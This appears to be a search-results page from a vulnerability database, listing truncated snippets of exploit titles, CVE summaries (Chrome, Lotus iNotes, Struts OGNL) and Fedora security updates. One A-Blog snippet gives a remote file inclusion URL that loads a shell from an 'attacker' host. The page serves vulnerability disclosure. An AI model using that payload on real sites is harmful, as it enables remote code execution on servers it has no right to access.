6416 matches found
Online Notebook Manager SQL Injection Vulnerability
Exploit for php platform in category web applications =================================================== Online Notebook Manager SQL Injection Vulnerability =================================================== Author: L0rd CrusAd3r aka VSN email protected Exploit Title: Online Notebook Manager SQ...
CafeEngine CMS V2.3 SQL Injection Vulnerability
Exploit for php platform in category web applications =============================================== CafeEngine CMS V2.3 SQL Injection Vulnerability =============================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 ...
Unfixed XSS vulnerability at www.gsmtrack.nl
Security researcher Xylitol, has submitted on 30/05/2010 a cross-site-scripting XSS vulnerability affecting www.gsmtrack.nl, which at the time of submission ranked 269316 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/07/2010. It is current...
Google Chrome Multiple File Type Security Bypass
Google Chrome is a web browser developed by Google Inc. It provides rich web browsing similar to other web browsers such as Firefox, Opera, and Internet Explorer. Chrome is unique from other browsers because it follows a multi-process architecture: by default, a separate process is allocated to...
CVE-2010-0655
Use-after-free vulnerability in Google Chrome before 4.0.249.78 allows user-assisted remote attackers to cause a denial of service application crash or possibly execute arbitrary code via vectors involving the display of a blocked popup window during navigation to a different web site...
CVE-2010-0655
Use-after-free vulnerability in Google Chrome before 4.0.249.78 allows user-assisted remote attackers to cause a denial of service application crash or possibly execute arbitrary code via vectors involving the display of a blocked popup window during navigation to a different web site...
CVE-2010-0276
IBM Lotus iNotes aka Domino Web Access or DWA before 229.241 for Domino 8.0.2 FP3 does not properly handle navigation of the "Try Lotus iNotes anyway" link from the page that reports use of an unsupported browser, which has unspecified impact and attack vectors, aka SPR LSHR7TBMQU...
Input validation
IBM Lotus iNotes aka Domino Web Access or DWA before 229.241 for Domino 8.0.2 FP3 does not properly handle navigation of the "Try Lotus iNotes anyway" link from the page that reports use of an unsupported browser, which has unspecified impact and attack vectors, aka SPR LSHR7TBMQU...
Safari < 4.0.4 Multiple Vulnerabilities
Binary data 5232.prm...
A-Blog menu.php navigation_start Parameter Remote File Inclusion
CVE ID: 2006-5092 see also: NVD Bugtraq ID: 20230 有一个安全漏洞可能允许远程攻击者执行任意命令。这个问题是由于menu.php脚本没有正确消毒用户输入提供给'navigationstart'变量。这可能允许攻击者包括从远程主机包含将由脆弱的脚本执行任意命令文件。 A-Blog 暂无 http://target/ablogdir/navigation/menu.php?navigationstart=http://attacker/shell.php?...
To pack a site navigation of source code-bug warning-the black bar safety net
Brightly lit IT blog I accidentally saw a site navigation of source code, this source code is“visit hao123 and 2 6 5 of the COMBINED VERSION” There is a background but also very powerful！！！！！ Completely can be a background operation, I think such a station should be safe, so down look, a look...
[SECURITY] Fedora 9 Update: totem-2.23.2-17.fc9
Totem is simple movie player for the Gnome desktop. It features a simple playlist, a full-screen mode, seek and volume controls, as well as a pretty complete keyboard navigation...
[SECURITY] Fedora 9 Update: totem-2.23.2-16.fc9
Totem is simple movie player for the Gnome desktop. It features a simple playlist, a full-screen mode, seek and volume controls, as well as a pretty complete keyboard navigation...
[SECURITY] Fedora 9 Update: totem-2.23.2-14.fc9
Totem is simple movie player for the Gnome desktop. It features a simple playlist, a full-screen mode, seek and volume controls, as well as a pretty complete keyboard navigation...
[SECURITY] Fedora 9 Update: totem-2.23.2-13.fc9
Totem is simple movie player for the Gnome desktop. It features a simple playlist, a full-screen mode, seek and volume controls, as well as a pretty complete keyboard navigation...
[SECURITY] Fedora 9 Update: totem-2.23.2-13.fc9
Totem is simple movie player for the Gnome desktop. It features a simple playlist, a full-screen mode, seek and volume controls, as well as a pretty complete keyboard navigation...
PHPizabi 0.848b C1 HFP1 - Privilege Escalation
PHPizabi 0.848b C1 HFP1 - Privilege Escalation -------------------------------------------------------------------------------- PHPizabi v0.848b C1 HFP1 proc.inc.php remote privilege escalation php.ini independent by Nine:Situations:Group::bookoo...
CVE-2008-6504
ParametersInterceptor in OpenSymphony XWork 2.0.x before 2.0.6 and 2.1.x before 2.1.2, as used in Apache Struts and other products, does not properly restrict pound sign references to context objects, which allows remote attackers to execute Object-Graph Navigation Language OGNL statements and...
Design/Logic Flaw
ParametersInterceptor in OpenSymphony XWork 2.0.x before 2.0.6 and 2.1.x before 2.1.2, as used in Apache Struts and other products, does not properly restrict pound sign references to context objects, which allows remote attackers to execute Object-Graph Navigation Language OGNL statements and...
CVE-2008-6504
CVE-2008-6504 affects OpenSymphony XWork (ParameterInterceptor) used in Apache Struts: OGNL refs to # context objects are not properly restricted, enabling remote OGNL evaluation and modification of server-side objects. Affected: XWork 2.0.x prior to 2.0.6 and 2.1.x prior to 2.1.2; vulnerability ...